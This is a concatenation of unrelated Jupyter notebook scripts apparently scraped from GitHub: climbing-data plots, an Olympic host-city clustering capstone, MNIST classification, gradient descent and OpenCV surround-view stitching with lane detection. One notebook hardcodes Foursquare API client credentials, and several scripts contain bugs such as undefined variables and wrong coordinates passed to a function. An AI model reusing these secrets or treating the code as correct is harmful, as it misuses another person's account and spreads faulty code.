60]\nage_bin_labels = ['18 to 21', '21 to 25','25 to 30','30 to 35','35 to 40', '40 to 50', '50 to 60']\n\n#\n#\n# We decided to create our own unique bins, both for visual appeal and to help categorize the ages into more distinctive age brackets. \n#\n\nage_bin = (pd.cut(dataframe['AGE (YRS)'],bins=age_bins,labels =age_bin_labels).value_counts().sort_index(ascending=False)).to_frame()\nage_bin.plot(kind='barh',legend=False,color='olivedrab')\nplt.style.use('seaborn') \n\n# ## Scatterplot Height (CM) and Weight (KG)\n#\n# Height and weight seemed like the next interesting area to explore further. We wanted to create a spread for the 121 different people, and see if there were any clusters/ interesting relationships in our research group through a scatterplot\n#\n# Aside from the small cluster of 5'6 130ish pound climbers (climber's like me!) the distribution seemed to be relatively evenly spread throughout.\n#\n\n#Create Seaborn Scatterplot\nplt.title('Height (CM) and Weight (KG)')\nsns.scatterplot(data = dataframe, x=\"HEIGHT (CM)\", y=\"BODY MASS (KG)\",color='seagreen')\n\n# ## Climbing Disciplines: Sport vs Bouldering vs Both\n#\n# To begin our deep dive into the heart of the information, we wanted to start with one last basic overview, a spread of what climbing disciplines that our participants preferred.\n#\n# To get the data from our chart, we utilized different applications of .notnull() and .isnull() as well as .sum() to get the values for participants that either only did bouldering, only did sport climbing, or recorded both disciplines.\n#\n\n# +\n#Value of climbers that only boulder (Intersection of all Boulderers with non NaN values and Sport Climbers NaN values)\n\nonly_boulder = (dataframe['BOULDER GRADE IRCRA'].notnull() & dataframe['SPORT GRADE IRCRA'].isnull()).sum()\nonly_boulder\n\n# +\n#Value of climbers that only sport climb (Intersection of all Sport Climbers with non NaN values and Boulderers NaN values)\n\nonly_sport = (dataframe['BOULDER GRADE IRCRA'].isnull() & dataframe['SPORT GRADE IRCRA'].notnull()).sum()\nonly_sport\n\n# +\n#Value of climbers that do both (Both non NaN values)\n\nboth = (dataframe['SPORT GRADE IRCRA'].notnull() & dataframe['BOULDER GRADE IRCRA'].notnull()).sum()\nboth\n\n# +\n# Create a new dataframe to represent this information\ndb = {'Disciplines': [\"Bouldering Discipline\", \"Sport\", \"Both Disciplines\"], 'count': [only_boulder, only_sport, both]}\ndisciplines_bar = pd.DataFrame(db)\n\n# Plot dataframe in a seaborn barplot\nax = sns.barplot(data=disciplines_bar, x=\"Disciplines\", y=\"count\",)\nplt.title('Number of Climbers')\n\n# Create annotations in chart\nfor p in ax.patches:\n ax.annotate(p.get_height(), (p.get_x() + p.get_width() / 2., p.get_height()),\n ha='center', va='center', fontsize=11, color='black', xytext=(0, 20),\n textcoords='offset points')\nax.set_ylim(0,60) #To make space for the annotations\n","repo_name":"haokliao/Critical-Force-Visualization","sub_path":"EDA_001_notebook.ipynb","file_name":"EDA_001_notebook.ipynb","file_ext":"py","file_size_in_byte":6455,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"628125968","text":"# This is part of capstone project for Coursera course “Applied Data Science Capstone”\n\n# +\nimport pandas as pd # library for data analsysis\npd.set_option('display.max_columns', None)\npd.set_option('display.max_rows', None)\n\nimport requests # library to handle requests\n\n# uncomment the line to install beautifulsoup4\n# #!conda install -c conda-forge beautifulsoup4 --yes\nfrom bs4 import BeautifulSoup # library to parse html\n\nimport numpy as np # library to handle data in a vectorized manner\n# Matplotlib and associated plotting modules\nimport matplotlib.cm as cm\nimport matplotlib.colors as colors\n\nimport json # library to handle JSON files\nfrom pandas.io.json import json_normalize # tranform JSON file into a pandas dataframe\n\n# uncomment this line if you need to install\n# #!conda install -c conda-forge geopy --yes\nfrom geopy.geocoders import Nominatim # convert an address into latitude and longitude values\n\n# import k-means from clustering stage\n#from sklearn.cluster import KMeans\n\n# uncomment this line if you haven't installed folium\n# #!conda install -c conda-forge folium=0.5.0 --yes \n#import folium # map rendering library\n\nprint('Libraries imported.')\n\n# +\n# define Foursquare Credentials and Version\nCLIENT_ID = 'QNVE1AVGXR2RR53OS2RT1HOR4BPF2GYXMQLQCGLY1PCEYDA0' # your Foursquare ID\nCLIENT_SECRET = '1MHJEVX2I3U142QW5LCBBYCNVHBCXA2NOLFTRGWPE51ZROPP' # your Foursquare Secret\nVERSION = '20180605' # Foursquare API version\n\nLIMIT = 100\n# -\n\n\n\n# get categories by venues API\ncategories_url = 'https://api.foursquare.com/v2/venues/categories?&client_id={}&client_secret={}&v={}'.format( \n CLIENT_ID, \n CLIENT_SECRET, \n VERSION\n )\ncategories_response = requests.get(categories_url).json()['response']\n\n\n# recursively collect category names\ndef flatten_categories(json):\n cats = []\n cat_json = json['categories'] \n if len(cat_json):\n for c in cat_json:\n cats.append(c['name'])\n cats.extend(flatten_categories(c))\n return cats\n\n\nall_categories = flatten_categories(categories_response)\n\n\n\n# Get olympic host cities¶\n\nevents = pd.read_csv(\"athlete_events.csv\")\nevt_summer = events[events['Season'] == \"Summer\"][[\"Year\", \"City\", \"ID\"]]\nevt_city = evt_summer.groupby([\"Year\", \"City\"]).count().reset_index().drop(\"ID\", axis = 1)\n\nevt_city\n\nhost_cities = pd.DataFrame(evt_city.drop_duplicates(subset=['City'], keep='last'))\n# Stockholm is co-host in 1956 for Equestrian events only\nhost_cities = host_cities[((host_cities['Year'] > 1945) & (host_cities['City'] != \"Stockholm\"))]\n\nhost_cities.head(10)\n\n# Get coordinates and country codes\n\ngeolocator = Nominatim(user_agent=\"my-coursera-application\")\nlatitudes = []\nlongitudes = []\ncountry_codes = []\nfor c in host_cities.loc[:,'City']:\n location = geolocator.geocode(c, addressdetails=True)\n latitudes.append(location.latitude)\n longitudes.append(location.longitude)\n country_codes.append(location.raw['address']['country_code'])\nhost_cities['Lat'] = latitudes\nhost_cities['Lng'] = longitudes\nhost_cities['Cnty'] = country_codes\n\n\nhost_cities\n\nhost_cities['Host'] = 1\n# replace city names to be consistent with American-english spelling,\n# do this after geopy calls to ensure we can the correct countries. There is also Athens in the US!\nhost_cities.replace({\"Moskva\": \"Moscow\", \"Athina\": \"Athens\", \"Roma\": \"Rome\"}, inplace=True)\nhost_cities.set_index('City', drop=True, inplace=True)\n\nhost_cities #sanity\n\n\n# #### Get popular venues for all cities\n\ndef getNearbyVenues(names, latitudes, longitudes, radius=10000, limit= 100):\n \"\"\"\n Retrieve venues near to coordinates using foursquare API\n \n Arguments:\n names - names of city, list of string\n latitudes - latitudes of city, list of float\n longitudes - longitudes of city, list of float\n radius - search limit in m, int\n \n Return:\n pandas.DataFrame containing neighborhood and venue information: latitudes, longitudes, catefories\n \"\"\"\n \n venues_list=[]\n for name, lat, lng in zip(names, latitudes, longitudes):\n print(name)\n \n # create the API request URL\n url = 'https://api.foursquare.com/v2/venues/explore?&client_id={}&client_secret={}&v={}&ll={},{}&radius={}&limit={}'.format(\n CLIENT_ID, \n CLIENT_SECRET, \n VERSION, \n lat, \n lng, \n radius, \n limit)\n \n # make the GET request\n results = requests.get(url).json()[\"response\"]['groups'][0]['items']\n \n # return only relevant information for each nearby venue\n venues_list.append([(\n name,\n v['venue']['categories'][0]['name']) for v in results])\n\n nearby_venues = pd.DataFrame([item for venue_list in venues_list for item in venue_list])\n nearby_venues.columns = ['City', \n 'Venue Category']\n \n return nearby_venues\n\n\n# get venues for all cities neighborhoods\ncity_venues = getNearbyVenues(host_cities.index, host_cities['Lat'], host_cities['Lng'])\nprint(\"Call completed.\")\n\ncity_venues['Count'] = 1\n\n# +\n#city_venues.head(150).tail(100)\n# -\n\ngrouped = city_venues.groupby(['City','Venue Category'])\n\npv = pd.pivot_table(city_venues.groupby(['City', 'Venue Category']).count(), values=\"Count\", index=\"City\",\n columns = \"Venue Category\", fill_value=0)\n\npv.head()\n\npv.shape\n\ncategory_grouped = city_venues.groupby('Venue Category').count().sort_values('City', ascending=False)\n\nfeatures = list(category_grouped.index[0:10])\nprint(\"The top 10 common categories are: {}\". format(', '.join(features)))\n\npv_host = pv[features].join(host_cities, on='City')\n\npv_host.shape\n\npv_host.head()\n\npv_host.describe()\n\n# #### KNN ?\n\n# +\n# one hot encoding\nvenue_onehot = pd.get_dummies(city_venues[['Venue Category']], prefix=\"\", prefix_sep=\"\")\n\n# add city column back to dataframe\nvenue_onehot['City'] = city_venues['City']\n\n# move city column to the first column\n# the new column does not always append to the end, so figure out where it is and concatenate accordingly\nidx = venue_onehot.columns.tolist().index('City')\nfixed_columns = ([venue_onehot.columns[idx]] + list(venue_onehot.columns[0:idx]) + list(venue_onehot.columns[idx+1:]))\nvenue_onehot = venue_onehot[fixed_columns]\n\nvenue_onehot.head()\n# -\n\nvenue_grouped = venue_onehot.groupby('City').mean().reset_index()\nvenue_grouped.head(10)\n\n# +\nnum_top_venues = 5\n\nfor city in venue_grouped['City']:\n print(\"----\"+city+\"----\")\n temp = venue_grouped[venue_grouped['City'] == city].T.reset_index()\n temp.columns = ['venue','freq']\n temp = temp.iloc[1:]\n temp['freq'] = temp['freq'].astype(float)\n temp = temp.round({'freq': 2})\n print(temp.sort_values('freq', ascending=False).reset_index(drop=True).head(num_top_venues))\n print('\\n')\n# -\n\n# import k-means from clustering\nfrom sklearn.cluster import KMeans\n\nvenue_grouped_clustering = venue_grouped.drop('City', 1)\n\nk_means = KMeans(init = \"k-means++\", n_clusters = 3, n_init = 12, random_state=4)\n# init - Selects initial cluster centers for k-mean clustering in a smart way to speed up convergence\n# n_clusters: The number of clusters to form\n# n_init: Number of time the k-means algorithm will be run with different centroid seeds\n# returns: best output of n_init consecutive runs\nk_means.fit(venue_grouped_clustering)\nk_means_labels = k_means.labels_\n#k_means_cluster_centers = k_means.cluster_centers_\n\nlen(venue_grouped['City'])\n\n# +\nvenue_merged = pd.DataFrame(venue_grouped['City']).set_index('City')\n\n# add clustering labels\nvenue_merged['Cluster'] = k_means_labels\n#venue_merged.set_index('City', drop=True)\n\ncity_data = host_cities[[\"Year\", \"Cnty\", \"Lat\", \"Lng\"]]\nvenue_merged = city_data.join(venue_merged, how=\"inner\", on='City')\n\n#venue_merged = venue_merged.join(neighborhoods_venues_sorted.set_index('City'), on='City')\n#venue_merged.reset_index(inplace=True)\n# move Borough column to the front\n#columns = [venue_merged.columns[1]] + [venue_merged.columns[0]] + list(venue_merged.columns[2:5]) + list(venue_merged.columns[5:])\n#venue_merged = venue_merged[columns]\nvenue_merged # check the last columns!\n# -\n\nfor i in range(3):\n m = venue_merged[venue_merged['Cluster'] == i].index\n print(\"Cluster {} cities are: {}\".format(i, ', '.join(m)))\n \n\n\n\n# +\n\n#plt.rcdefaults()\nfig, ax = plt.subplots()\n\npeople = venue_merged.index\ny_pos = list(venue_merged.Year - 1945)\nperformance = 25\nc_map = {0:\"red\", 1:\"green\", 2:\"blue\"}\ncolors = [c_map[cl] for cl in venue_merged['Cluster']]\n\n\nax.barh(y_pos, performance, align='center',\n color=colors)\n\nax.set_yticks(y_pos)\nax.set_yticklabels(people)\nax.invert_yaxis() # labels read top-to-bottom\nax.set_title('host cities by cluster')\n\nplt.show()\n# -\n\n\n\nhost_cluster.head()\n\nvenue_grouped_cnt = venue_onehot.groupby('City').sum().reset_index()\nvenue_grouped_cnt.set_index('City', drop=True, inplace=True)\nvenue_grouped_cnt['Cluster'] = venue_merged['Cluster']\nvenue_grouped_cnt.head()\n\n\nvenue_grouped_cluster_cnt = venue_grouped_cnt.groupby('Cluster').mean().reset_index()\nvenue_grouped_cluster_cnt.set_index('Cluster', drop=True, inplace=True)\nvenue_grouped_cluster_cnt.head()\n\nvenue_grouped_cluster_cnt[features].head()\n\nimport matplotlib.pyplot as plt\n\n\n\n# +\n\n\nvenue_grouped_cluster_cnt[features].plot(kind='bar', stacked=True, figsize=(12, 8))\nplt.title(\"Mean of venue categories by host city cluster\")\nplt.show()\n# -\n\n# ##### Observations:\n#\n#\n\n# Cluster 0 represents the 'older' host cities, 30 years after world war 2 \n#\n# Cluster 1 represents the 'modern' host cities\n#\n# Cluster 2 includes Beijing only and is an outlier\n\nhosts = list(venue_merged[venue_merged['Cluster'] == 1].index)\nhosts\n\n# #### Get candidate cities\n\nurl = 'https://www.bestcities.org/rankings/worlds-best-cities/'\nresponse = requests.get(url).content\nsoup = BeautifulSoup(response, 'html.parser') # create the soup, using basic html parser\nall_city_names = soup.find_all('div', class_='rankings-cities-detail') # access the city names by its class_\nall_city_names = [n.text[9:].strip('\\n\\t .') for n in all_city_names]\ncity_names = all_city_names[0:50] # use only 50 of them to balance the number of past host cities\n\nnon_host_names = sorted(set(all_city_names[0:15]).difference(set(host_cities.index)))\nprint(\"There are {} non-host cities.\".format(len(non_host_names)))\n\nprint(\"The non-host cities are: {}\".format(', '.join(non_host_names)))\n\nnon_host_cities = pd.DataFrame(non_host_names, columns = ['City'])\nnon_host_cities['Host'] = 0 # these were not host cities\n\n# get coordinates of cities\ngeolocator = Nominatim(user_agent=\"my-coursera-application\")\nlatitudes = []\nlongitudes = []\nfor c in non_host_cities.City:\n location = geolocator.geocode(c)\n latitudes.append(location.latitude)\n longitudes.append(location.longitude)\nnon_host_cities['Lat'] = latitudes\nnon_host_cities['Lng'] = longitudes\nnon_host_cities.set_index('City', drop=True, inplace=True)\n\nnon_host_cities.head()\n\n# get venues for all cities neighborhoods\nnon_host_city_venues = getNearbyVenues(non_host_cities.index, host_cities['Lat'], host_cities['Lng'])\nprint(\"Call completed.\")\n\nnon_host_city_venues['Count'] = 1\n\n# +\n# one hot encoding\nnon_host_venue_onehot = pd.get_dummies(non_host_city_venues[['Venue Category']], prefix=\"\", prefix_sep=\"\")\n\n# add city column back to dataframe\nnon_host_venue_onehot['City'] = non_host_city_venues['City']\n\n# move city column to the first column\n# the new column does not always append to the end, so figure out where it is and concatenate accordingly\nidx = non_host_venue_onehot.columns.tolist().index('City')\nfixed_columns = ([non_host_venue_onehot.columns[idx]] + list(non_host_venue_onehot.columns[0:idx]) + list(non_host_venue_onehot.columns[idx+1:]))\nnon_host_venue_onehot = non_host_venue_onehot[fixed_columns]\n\nnon_host_venue_onehot.head()\n# -\n\nnon_host_venue_grouped = non_host_venue_onehot.groupby('City').mean().reset_index()\nnon_host_venue_grouped.set_index('City', drop=True, inplace=True)\nnon_host_venue_grouped['Host'] = 0\nnon_host_venue_grouped.head(10)\n\n# +\n#venue_grouped.set_index('City', drop=True, inplace=True)\n#venue_grouped.reset_index(inplace=True)\n# -\n\nhost_venue_grouped = (venue_grouped[venue_grouped.City.isin(hosts)]).copy()\nhost_venue_grouped['Host'] = 1\n\nhost_venue_grouped.set_index('City', drop=True, inplace=True)\nhost_venue_grouped.head()\n\nall_venue_grouped = host_venue_grouped.append(non_host_venue_grouped, sort=True)\n\nall_venue_grouped.head()\n\nall_venue_grouped.shape\n\nfeatures + ['Host']\n\nall_venue_grouped_sel = all_venue_grouped[features + ['Host']]\n\nall_venue_grouped_sel.head()\n\n# ### Decision Tree\n\n# +\nfrom sklearn.model_selection import train_test_split\n\nX = all_venue_grouped_sel[all_venue_grouped_sel.columns[0:-1]]\ny = all_venue_grouped_sel['Host']\n\nx_train, x_test, y_train, y_test = train_test_split(X.values, y, test_size=0.4, random_state=13)\n# -\n\nfrom sklearn.tree import DecisionTreeClassifier\nm_tree = DecisionTreeClassifier(criterion=\"entropy\", max_depth = 4)\nm_tree.fit(x_train,y_train)\npredTree = m_tree.predict(x_test)\n\nfrom sklearn import metrics\nprint(\"Train set Accuracy: \", metrics.accuracy_score(y_train, m_tree.predict(x_train)))\nprint(\"Test set Accuracy: \", metrics.accuracy_score(y_test, predTree))\n\nfrom sklearn.metrics import classification_report\nprint (classification_report(y_test, predTree))\n\npred_prob = m_tree.predict_proba(X)\ncity_pred = all_venue_grouped_sel[['Host']].copy()\npred = pd.DataFrame(pred_prob, columns = ['F', 'T'], index = all_venue_grouped_sel.index)\ncity_pred['pred'] = pred['T']\ncity_pred\n\n\n","repo_name":"CharlesFung87/Coursera_Capstone","sub_path":".ipynb_checkpoints/run 2 draft 1 capstone-working-Copy2-checkpoint.ipynb","file_name":"run 2 draft 1 capstone-working-Copy2-checkpoint.ipynb","file_ext":"py","file_size_in_byte":13620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"17723396077","text":"from keras.datasets import mnist\n\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\nprint(len(y_test))\n\nX_train = []\nfor i in range(0,len(y_train)):\n X_train.append([])\n for m in range(0,len(x_train[0])):\n for n in range(0,len(x_train[0][0])):\n X_train[i].append(x_train[i][m][n])\n\nX_test = []\nfor i in range(0,len(y_test)):\n X_test.append([])\n for m in range(0,len(x_test[0])):\n for n in range(0,len(x_test[0][0])):\n X_test[i].append(x_test[i][m][n])\n\nimport numpy as np\nfrom sklearn import datasets\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import train_test_split\n\nlr=LogisticRegression(multi_class=\"multinomial\",solver=\"saga\")\nlr.fit(X_train,y_train)\nproba_=lr.predict_proba(X_test)\n\nans_list=lr.predict(X_test)\n\ncorrect = 0\nfor i in range(0,len(ans_list)):\n if(ans_list[i]==y_test[i]):\n correct = correct+1\nprint(correct/len(y_test))\n\n\n","repo_name":"chuansao-258/machine-learning--digital-recognition","sub_path":"Logistic Regression.ipynb","file_name":"Logistic Regression.ipynb","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"30563909319","text":"# # Gradient Descent\n\n# ## Importing Libraries\n\nimport pandas as pd\nimport random\n\n# +\ndf = pd.read_csv('linear_regression.csv')\n\nsplit_ratio = 0.8 #test-train\n\nprint(df)\n\n\n# -\n\ndef train_test_split(dataset, split):\n train_set = []\n test_set = []\n\n list_of_records = dataset.to_numpy().tolist()\n \n number_of_records = list(dataset.shape)[0]\n \n train_set_length = round(split*number_of_records,0)\n test_set_length = number_of_records-train_set_length\n\n for row in list_of_records:\n test_or_train = round(random.uniform(0,1),1)\n\n if len(train_set) == train_set_length:\n test_set.append(row)\n elif len(test_set) == test_set_length:\n train_set.append(row)\n else: \n if test_or_train < split:\n train_set.append(row)\n else:\n test_set.append(row)\n return train_set,test_set\n\n\ndef gradient_descent(train_set):\n \n x = [row[0] for row in train_set]\n y = [row[1] for row in train_set]\n \n # Building the model\n m = 0\n c = 0\n\n learning_rate = 0.0001 # The learning Rate\n epochs = 1000 # The number of iterations to perform gradient descent\n\n n = float(len(x)) # Number of elements in X\n\n \n # Performing Gradient Descent \n for i in range(epochs): \n y_pred = list(map(lambda j:m*j+c,x))\n \n y_diff = [y[i]-y_pred[i] for i in range(len(y))]\n \n x_times_y_diff = [x[i]*y_diff[i] for i in range(len(y))]\n \n partial_derivative_m = (-2/n) * sum(x_times_y_diff) # Derivative wrt m\n \n partial_derivative_c = (-2/n) * sum(y_diff) # Derivative wrt c\n \n m -= learning_rate * partial_derivative_m # Update m\n \n c -= learning_rate * partial_derivative_c # Update c\n\n return m,c\n\n\ndef mse_metric(actual, predicted):\n sum_error = 0.0\n for i in range(len(actual)):\n prediction_error = predicted[i] - actual[i]\n sum_error += (prediction_error ** 2)\n mean_error = sum_error / float(len(actual))\n return mean_error\n\n\ndef test_model(test_set,slope,intercept):\n \n test_input = list(map(lambda row:row[0],test))\n \n test_target = [row[1] for row in test]\n\n test_output = list(map(lambda x: slope*x+intercept,test_input))\n\n mse = mse_metric(actual=test_target, predicted=test_output)\n\n return mse\n\n\ndef evaluation_algorithm(dataset,split):\n train,test = train_test_split(dataset,split)\n m,c = gradient_descent(train)\n mse = test_model(test_set=test,slope=m,intercept=c)\n print(f'Slope is {m}\\nIntercept is {c}\\nMean Square Error is {mse}')\n\n\nevaluation_algorithm(dataset=df,split=split_ratio)\n\n\n","repo_name":"akshit-thakur/neural-networks","sub_path":"03. Regressions and Gradient Descent without in-built/Gradient Descent.ipynb","file_name":"Gradient Descent.ipynb","file_ext":"py","file_size_in_byte":2687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"15"} +{"seq_id":"26046990254","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nfront_img = cv2.imread('../seq/front/0.png', cv2.IMREAD_COLOR)\nleft_img = cv2.imread('../seq/left/3.png', cv2.IMREAD_COLOR)\nright_img = cv2.imread('../seq/right/3.png', cv2.IMREAD_COLOR)\n# rear_img = cv2.imread('images/rear.jpg', cv2.IMREAD_COLOR)\n# car_img = cv2.imread('images/car.png', cv2.IMREAD_COLOR)\n# car_img = cv2.rotate(car_img, cv2.ROTATE_180)\n# print(front_img.shape)\n\n# svm 만들기\n#\n\n# +\nforward_src = np.float32([\n (125, 180),\n (0, 440),\n (500, 180),\n (640, 440)\n])\n\nforward_dst = np.float32([\n (140, 90),\n (160, 440),\n (480, 85),\n (470, 445)\n])\n\nbackward_src = np.float32([\n (115, 90),\n (0, 270),\n (530, 95),\n (840, 480)\n])\n\nbackward_dst = np.float32([\n (160, 100),\n (150, 370),\n (500, 95),\n (510, 480)\n])\n\nleft_src = np.float32([\n (115, 55),\n (15, 410),\n (520, 30),\n (620, 400)\n])\n\nleft_dst = np.float32([\n (140, 90),\n (140, 410),\n (480, 85),\n (480, 425)\n])\n\nright_src = np.float32([\n (100, 45),\n (5,415),\n (510, 45),\n (620, 410)\n])\n\nright_dst = np.float32([\n (140, 90),\n (140, 440),\n (480, 85),\n (480, 445)\n])\n\n\n# +\n\ndef front(img):\n IMAGE_H, IMAGE_W, _ = img.shape\n\n #print(img.shape)\n #img = np.concatenate([np.zeros((400,250,3)).astype(np.uint8),img,np.zeros((400,250,3)).astype(np.uint8)],1)\n\n src = forward_src#np.float32([[249, 399], [549, 399], [289, 0], [509, 0]])\n dst = forward_dst#np.float32([[279, 399], [519, 399], [0, 0], [799, 0]])\n #src = np.float32([[210,115], [210,180], [150,120], [150,175]])\n #dst = np.float32([[210,115], [210,180], [150,115], [150,180]])\n M = cv2.getPerspectiveTransform(src, dst) # The transformation matrix\n Minv = cv2.getPerspectiveTransform(dst, src) # Inverse transformation\n\n IMAGE_H, IMAGE_W, _ = img.shape\n\n warped_img = cv2.warpPerspective(img, M, (IMAGE_W, IMAGE_H))#[:300] # Image warping\n output = warped_img[90:,:-10]\n return output#cv2.resize(warped_img[200:,100:-100], dsize=(800, 400),interpolation=cv2.INTER_LINEAR)#warped_img\n\ndef rear(img):\n IMAGE_H, IMAGE_W, _ = img.shape\n \n \t#img = np.concatenate([np.zeros((400,250,3)).astype(np.uint8),img,np.zeros((400,250,3)).astype(np.uint8)],1)\n src = backward_src#np.float32([[249, 399], [549, 399], [289, 0], [509, 0]])\n dst = backward_dst#np.float32([[279, 399], [519, 399], [0, 0], [799, 0]])\n \t#src = np.float32([[210,115], [210,180], [150,120], [150,175]])\n #dst = np.float32([[210,115], [210,180], [150,115], [150,180]])\n M = cv2.getPerspectiveTransform(src, dst) # The transformation matrix\n Minv = cv2.getPerspectiveTransform(dst, src) # Inverse transformation\n \n IMAGE_H, IMAGE_W, _ = img.shape\n \n warped_img = cv2.warpPerspective(img, M, (IMAGE_W, IMAGE_H))#[:300] # Image warping\n output = warped_img[90:,:]\n output = cv2.rotate(output, cv2.ROTATE_180)\n return output#cv2.resize(warped_img[200:,100:-100], dsize=(800, 400),interpolation=cv2.INTER_LINEAR)#warped_img\n \ndef side_left(img):\n \n IMAGE_H, IMAGE_W, _ = img.shape\n #src = np.float32([[0, 299], [399, 299], [0, 0], [399, 0]])\n #dst = np.float32([[0, 299], [399, 299], [100, 0], [299, 0]])\n src = left_src\n dst = left_dst\n M = cv2.getPerspectiveTransform(src, dst) # The transformation matrix\n Minv = cv2.getPerspectiveTransform(dst, src) # Inverse transformation.mkv\n \n warped_img = cv2.warpPerspective(img, M, (IMAGE_W, IMAGE_H)) # Image warping\n output = warped_img[90:,:]\n output = cv2.rotate(output, cv2.ROTATE_90_COUNTERCLOCKWISE)#[:,:350]\n # warped_img = cv2.warpPerspective(img, M, (IMAGE_H, IMAGE_W)) # Image warping\n \n return output\n \ndef side_right(img):\n \n IMAGE_H, IMAGE_W, _ = img.shape\n \n #src = np.float32([[0, 299], [399, 299], [0, 0], [399, 0]])\n #dst = np.float32([[0, 299], [399, 299], [100, 0], [299, 0]])\n src = right_src\n dst = right_dst\n M = cv2.getPerspectiveTransform(src, dst) # The transformation matrix\n Minv = cv2.getPerspectiveTransform(dst, src) # Inverse transformation.mkv\n\n warped_img = cv2.warpPerspective(img, M, (IMAGE_W, IMAGE_H)) # Image warping\n output = warped_img[90:,:]\n output = cv2.rotate(output, cv2.ROTATE_90_CLOCKWISE)#[:,:350]\n # warped_img = cv2.warpPerspective(img, M, (IMAGE_H, IMAGE_W)) # Image warping\n return output\n\n\n# -\n\nf = front(front_img)\nl = front(left_img)\nr = front(right_img)\ncv2.imwrite('f.png', f)\ncv2.imwrite('l.png', l)\ncv2.imwrite('r.png', r)\n\n\ntemp = front_img.copy()\nprint(temp.shape)\n# cv2.line(temp,(510, 45), (620, 410), (0,0,255), 3)\ntemp = front(temp)\nprint(temp.shape)\ncv2.imwrite('temp.png', temp)\n\n# +\n# x = front(front_img)\n# print(front_img.shape)\nIMAGE_H, IMAGE_W, _ = front_img.shape\ncar = np.zeros((IMAGE_H, IMAGE_W, 3), np.uint8)\n# car[:,150:490,:] = car_img\n# print(car.shape)\n# print(front_img.shape)\ntemp_front = front_img.copy()\ntemp_rear = rear_img.copy()\n# temp_rear = cv2.rotate(temp_rear, cv2.ROTATE_180)\ntrans_front = front(temp_front)\ntrans_rear = rear(temp_rear)\n\nx = np.vstack([trans_front, car, trans_rear])\ncv2.imwrite('test.png', x)\n# y = np.vstack([front_img, car, cv2.rotate(rear_img, cv2.ROTATE_180)])\n# cv2.imwrite('test2.png', y)\n# test2 = rear(test)\n# cv2.imwrite('test2.png', test2)\n# cv2.waitKey(0)\n# cv2.destroyAllWindows()\n# -\n\n# svm merge\n\n# +\n\ndef merge(head,tail,left,right,car):\n # horizontal = np.concatenate([np.zeros((640,179,3)),left,np.zeros((640,236,3)),right,np.zeros((640,179,3))],1)\n car_width = 650\n car_height = 640+170\n car_final = cv2.resize(car, (car_width, car_height), interpolation=cv2.INTER_LINEAR)\n side_H, side_W, _ = left.shape\n head_H, head_W, _ = head.shape\n total_width = car_width+side_W+side_W\n \n horizontal = np.concatenate([left,np.zeros((side_H,car_width,3)),right],1)\n horizontal = cv2.resize(horizontal, dsize=(horizontal.shape[1],800), interpolation = cv2.INTER_LINEAR)\n tail = cv2.resize(tail, dsize=(total_width,600), interpolation = cv2.INTER_LINEAR)\n head = cv2.resize(head, dsize=(total_width,600), interpolation = cv2.INTER_LINEAR)\n \n #head = head/255#np.concatenate([np.zeros((400,(800-500)//2,3)),head/255,np.zeros((400,(800-500)//2,3))],1)\n \n # head_empty = np.zeros((140,head.shape[1],3)).astype(np.uint8)\n # tail_empty = np.zeros((140,tail.shape[1],3)).astype(np.uint8)\n # bev = np.concatenate([head,head_empty,horizontal,tail_empty,tail],0)\n bev = np.concatenate([head, horizontal, tail], 0)\n bev[head.shape[0]-25:head.shape[0]+car_height-25,side_W:side_W+car_width,:] = car_final\n bev = (bev).astype(np.uint8)\n # tt = np.zeros((3300, 1600))\n #bev = Image.fromarray(bev)\n\n return bev\n\n\n# +\nff = front(front_img)\nrr = rear(rear_img)\nls = side_left(left_img)\nrs = side_right(right_img)\n# IMAGE_H, IMAGE_W, _ = front_img.shape\n# car = np.zeros((IMAGE_H, IMAGE_W, 3), np.uint8)\n# car[:,150:490,:] = car_img\n\nx = merge(ff, rr, ls, rs, car_img)\n# x = cv2.line(left_img.copy(), (0, 0), (399, 0), (0,0,255),3)\n# print(sero)\n\n# x[sero:-sero,(240+179):-(240+179)] = car_img\ncv2.imwrite('x.png', x)\n\n# -\n\n# lane detection\n#\n\ndef hsv(img, color='green'):\n hsv = cv2.cvtColor(img, cv2.COLOR_RGB2HSV)\n\n # 휴리스틱으로 구한거 같은데? 오진다,\n if color == 'green':\n mask = cv2.inRange(hsv, (25, 60, 50), (86, 255, 255))\n elif color == 'red':\n mask = cv2.inRange(hsv, (115, 100, 50), (130, 255, 255))\n elif color == 'blue':\n mask = cv2.inRange(hsv, (10, 150, 50), (30, 255, 255))\n elif color == 'yellow':\n mask = cv2.inRange(hsv, (80, 40, 145), (150, 255, 255))\n # mask = cv2.inRange(hsv, (80, 100, 145), (150, 255, 255))\n\n imask = mask > 0\n output = np.zeros_like(hsv, np.uint8)\n output[imask] = 255\n\n return output[:,:,0]\n\n\n\ndef detect_square(input):\n min_area = 740\n H, W = input.shape[:2]\n # image morpholgy로 라인만 찾는거 같음\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (9,9)) # kernel 만들기\n clean = cv2.morphologyEx(input, cv2.MORPH_OPEN, kernel) # 이럴거면 왜 이미지 하나로 opening, closing하는지?\n # kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (15,15))\n # clean = cv2.morphologyEx(input, cv2.MORPH_CLOSE, kernel)\n cv2.imwrite('rr.png', clean)\n contours = cv2.findContours(clean, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE) #RETR_EXTERNAL: 외각선만 찾기, CHAIN_APPROX_SIMPLE: 수직선, 수평선, 대각선에 대해 끝점만 저장\n contours = contours[0] if len(contours) == 2 else contours[1]\n\n square = None\n square_center = 0\n is_square = False\n\n for c in contours:\n rot_rect = cv2.minAreaRect(c) # contour를 둘러싸는 최소한 크기의 직사각형 만들기\n temp_area = rot_rect[1][0] * rot_rect[1][1]\n temp_square = cv2.boxPoints(rot_rect)\n temp_center = np.int0(np.mean(temp_square, axis=0))\n\n if temp_area >= min_area and temp_center[0] > square_center:\n square = np.int0(temp_square)\n square_center = temp_center[0]\n area = 